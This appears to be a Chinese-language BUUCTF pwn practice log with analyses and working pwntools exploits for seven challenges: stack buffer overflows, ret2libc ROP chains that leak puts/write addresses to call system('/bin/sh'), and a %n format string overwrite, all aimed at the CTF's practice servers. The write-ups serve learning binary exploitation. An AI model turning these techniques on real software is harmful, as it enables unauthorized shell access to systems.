rip

根据IDA加载入main函数声明发现s数组距离rbp的距离为F,即为15,这里的运行环境是64位,所以应当将Caller's rbp的数据填满,在这里是8位,即可构造payload

  1. from pwn import *
  2. p=remote("node4.buuoj.cn", 25401)
  3. #p=process("./pwn1")
  4. payload=b'a'*15+b'b'*8+p64(0x401186+1)
  5. p.sendline(payload)
  6. p.interactive()

jarvisoj_level0

打开IDA主函数两条命令,很明显可利用漏洞就在vulnerable_function函数内,进入后看到buf很明显距离rbp有0x80位,再加上64位机多出来的8位,即覆盖0x80+0x8即可覆盖,另外有callsystem函数作为漏洞执行入口

  1. from pwn import *
  2. p=remote("node4.buuoj.cn", 27716)
  3. #p=process("./level0")
  4. payload=b'a'*136+p64(0x400596)
  5. #p.sendline(payload)
  6. p.sendlineafter('Hello, World\n',payload)
  7. p.interactive()

ciscn_2019_c_1

首先获取程序的ROP信息ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
BUUCTF-Pwn-刷题记录 - 图1
后面的具体操作见代码注释

  1. from pwn import *
  2. from LibcSearcher import *
  3. p=remote("node4.buuoj.cn", 27706)
  4. #p=process("./ciscn_2019_c_1")
  5. elf=ELF("./ciscn_2019_c_1")
  6. main=0x400b28
  7. rdi=0x400c83
  8. ret=0x4006b9
  9. puts_plt=elf.plt['puts']
  10. puts_got=elf.got['puts']
  11. p.sendlineafter('Input your choice!\n', '1')
  12. payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#构造以输出puts_got的内容
  13. p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
  14. p.recvline()
  15. p.recvline()
  16. puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))#得到puts函数的地址
  17. libc=LibcSearcher("puts", puts_addr)
  18. libc_base=puts_addr-libc.dump("puts")
  19. sys_addr=libc_base+libc.dump("system")
  20. binsh=libc_base+libc.dump("str_bin_sh")#使用LibcSearcher找到对应的libc版本号
  21. p.sendlineafter('choice!\n', '1')
  22. #由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐,在这里可以使用ret进行栈对齐
  23. payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
  24. #p.sendline(payload)
  25. p.sendlineafter('encrypted\n',payload)
  26. p.interactive()

经过暴力循环测试法,测得最终的libc版本为libc6_2.27-0ubuntu3_amd64,然后即可打通本poc

[第五空间2019 决赛]PWN5(格式化字符串)

试着运行一下先,发现当输入的长度比较长的时候,回显会出现一点问题,所以合理猜测输出语句存在问题。
BUUCTF-Pwn-刷题记录 - 图2
使用32位IDA载入,直接查看main函数

  1. int __cdecl main(int a1)
  2. {
  3. unsigned int v1; // eax
  4. int result; // eax
  5. int fd; // [esp+0h] [ebp-84h]
  6. char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  7. char buf[100]; // [esp+14h] [ebp-70h] BYREF
  8. unsigned int v6; // [esp+78h] [ebp-Ch]
  9. int *v7; // [esp+7Ch] [ebp-8h]
  10. v7 = &a1;
  11. v6 = __readgsdword(0x14u);
  12. setvbuf(stdout, 0, 2, 0);
  13. v1 = time(0);
  14. srand(v1);
  15. fd = open("/dev/urandom", 0);
  16. read(fd, &dword_804C044, 4u);
  17. printf("your name:");
  18. read(0, buf, 0x63u);
  19. printf("Hello,");
  20. printf(buf);
  21. printf("your passwd:");
  22. read(0, nptr, 0xFu);
  23. if ( atoi(nptr) == dword_804C044 )
  24. {
  25. puts("ok!!");
  26. system("/bin/sh");
  27. }
  28. else
  29. {
  30. puts("fail");
  31. }
  32. result = 0;
  33. if ( __readgsdword(0x14u) != v6 )
  34. sub_80493D0();
  35. return result;
  36. }

首先看了看栈溢出漏洞,read做了限制字符大小利用不了,但是看到了一个printf(buf)这就是一个明显的格式化字符漏洞,再结合题目分析一波,大概流程是随机生成一个数字存入到地址为dword_804C044的全局变量中,最后对输入的passwd字符进行比较,这里注意下atoi这个函数它只会提取正整数,除此之外都是返回0,因为dword变量是随机数,所以控制不了(之前见过一题也是随机数,但是它的随机种子在栈里面是可控的,然后用栈溢出,再引用ctypes库,加载libc.so.6然后就可以获得系统一样的随机数了),但是这题很明显就是通过printf(buf)这个漏洞去更改dword变量的值
关于格式化字符串攻击,这里可以从以下两个资料着手了解
详谈Format String
【整理笔记】格式化字符串漏洞梳理
利用AAAA %08x %08x %8x %08x %08x %08x %08x...这样的字符串来找到我们输入的参数在函数栈上的位置
假设是在栈中的第n位,则可利用%n$定位到参数在栈上的位置,特别值得一提的是,这里的%n中如果是n则默认只想ESP指向的栈顶的内容指向的内存地址,而如果是一个具体的数值x则是指向[ESP+x]
因此在这道题中,我们就可以把我们不知道的dword_804C044改为我们设定的数值即可,由此编写poc

  1. from pwn import *
  2. p = remote("node4.buuoj.cn", 28042)
  3. addr=0x0804C044
  4. payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
  5. payload+=b'%10$n%11$n%12$n%13$n'
  6. p.sendline(payload)
  7. p.sendline(str(0x10101010))
  8. p.interactive()

最终得到flag

ciscn_2019_n_8

打开之后查main函数逻辑,然后你就会发现原来是一道水题- -,只要保证var数组第14位为0x11即可getshell,直接什么都不看编写poc梭哈

  1. from pwn import *
  2. p = remote("node4.buuoj.cn", 27097)
  3. #addr=0x0804C044
  4. payload=p32(0x11)*14
  5. p.sendline(payload)
  6. p.interactive()

梭哈成功✌

jarvisoj_level2

IDA分析,vulnerable_function中有关于buf的read函数,且buf距离ebp长度为0x88,而read指定长度为0x100,再经过checksec查看,确认存在栈溢出漏洞。
查看字符串发现程序内已经包含了/bin/sh字符串且具有system函数,因此溢出思路为填充buf跳转到system函数,然后传入字符串/bin/sh作为参数即可getshell,编写poc如下

  1. from pwn import *
  2. p = remote("node4.buuoj.cn", 28037)
  3. binsh=0x0804A024
  4. system=0x8048320
  5. payload=b'a'*(0x88+4)+p32(system)+b'a'*4+p32(binsh)
  6. p.sendline(payload)
  7. p.interactive()

成功打通,cat flag

[OGeek2019]babyrop

初期逻辑和前面一道题比较像,buf给一个随机数,然后拿用户输入与buf进行比较,显然这里没有利用空间。
BUUCTF-Pwn-刷题记录 - 图3
BUUCTF-Pwn-刷题记录 - 图4
在sub_804871F函数里面很明显看到有strlen(buf),这里有一个利用点,即strlen遇到\x00时直接截断,所以我们第一位直接截断即可绕过此部分,然后发现buf是一个7位数饿数组,但是在函数中有read(0, buf, 0x20u),经计算,v5就相当于buf的第8位,所以v5在这里可以被我们指定。
BUUCTF-Pwn-刷题记录 - 图5
而另一个函数sub_80487D0中a1就是main函数中传入的v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8根据上述思路,进行exp编写,这里一开始是想在绕过之后利用read/write泄露地址然后通过LibcSearcher找到libc版本号的,但是发现不是很成功…通过泄露的地址未能找到正确的libc,结果回头一看题目里面已经给出libc了- -既然如此那就直接用了。真可谓众里寻他千百度,得来全不费工夫,最后把LibcSearcher的部分注释了,也算是一种复习吧

  1. from pwn import *
  2. from LibcSearcher import *
  3. p = remote("node4.buuoj.cn", 28820)
  4. elf=ELF('./pwn1')
  5. libc=ELF('./libc-2.23.so')
  6. system_libc=libc.symbols['system']
  7. binsh_libc=next(libc.search(b'/bin/sh'))
  8. write_plt=elf.plt['write']
  9. write_got=elf.got['write']
  10. write_libc=libc.symbols['write']
  11. read_got=elf.got['read']
  12. read_plt=elf.plt['read']
  13. main_addr=0x8048825
  14. #payload1-截断strlen
  15. payload1=b'\x00'+b'\xff'*7
  16. p.sendline(payload1)
  17. p.recvuntil("Correct\n")
  18. #pay;pad2 - 泄露read的got地址
  19. payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
  20. # ret1 ret2
  21. payload+=p32(1)+p32(write_got)+p32(4)
  22. #write par1 par2 par3
  23. #write_plt覆盖的是sub_80487D0函数的返回地址,而write函数是main函数的函数,所以后面需要有三个write的参数
  24. p.sendline(payload)
  25. write_addr=u32(p.recv(4))
  26. print('[+]write_addr: ', hex(write_addr))#得到了write在内存中的位置 可以用题目提供的函数共享库算出system在内存中的位置
  27. # libc=LibcSearcher('read', read_addr)
  28. # libc_base=read_addr-libc.dump('read')
  29. # system_addr=libc_base+libc.dump('system')
  30. # binsh_addr=libc_base+libc.dump('str_bin_sh')
  31. libc_base=write_addr-write_libc
  32. system_addr=system_libc+libc_base
  33. binsh_addr=binsh_libc+libc_base
  34. p.sendline(payload1)
  35. p.recvuntil("Correct\n")
  36. payload=b'a'*(0xe7+4)
  37. payload+=p32(system_addr)+p32(main_addr)+p32(binsh_addr)#第二次直接把返回地址改为addr地址
  38. p.sendline(payload)
  39. p.interactive()